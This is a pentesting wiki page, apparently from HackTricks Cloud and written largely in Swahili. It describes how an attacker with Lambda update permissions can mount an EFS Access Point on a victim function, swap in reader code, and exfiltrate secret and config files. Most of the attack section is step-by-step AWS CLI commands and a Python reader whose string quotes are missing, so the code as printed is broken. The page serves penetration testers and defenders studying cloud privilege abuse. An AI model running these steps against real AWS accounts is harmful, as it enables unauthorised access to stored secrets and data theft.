hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md

AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Uibi wa Data)

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Tumia vibaya lambda:UpdateFunctionConfiguration kuambatanisha EFS Access Point iliyopo kwenye Lambda, kisha weka code rahisi inayoorodhesha/inasoma files kutoka kwenye path iliyopachikwa ili exfiltrate shared secrets/config ambayo function haikuweza kufikia kabla.

Requirements

• Permissions on the victim account/principal:
• lambda:GetFunctionConfiguration
• lambda:ListFunctions (to find functions)
• lambda:UpdateFunctionConfiguration
• lambda:UpdateFunctionCode
• lambda:InvokeFunction
• efs:DescribeMountTargets (to confirm mount targets exist)
• Environment assumptions:
• Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
• The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.

Attack

• Variables

REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>

1. Ambatanisha EFS Access Point kwa Lambda

aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

2. Andika upya code kwa kisomaji rahisi kinachoorodhesha faili na kuangalia (peek) bytes 200 za mwanzo za faili inayoweza kuwa secret/config.

cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

3. Iitisha na upate data

aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

Matokeo yanapaswa kujumuisha orodha ya saraka chini ya /mnt/ht na onyesho fupi la faili ya siri/usanidi iliyochaguliwa kutoka EFS.

Athari

Mshambuliaji mwenye ruhusa zilizoorodheshwa anaweza ku-mount EFS Access Points yoyote ndani ya in-VPC katika Lambda functions za mwathiriwa ili kusoma na kupeleka nje usanidi uliohifadhiwa pamoja na siri kwenye EFS ambazo hapo awali zilikuwa hazipatikani kwa function hiyo.

Usafishaji

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

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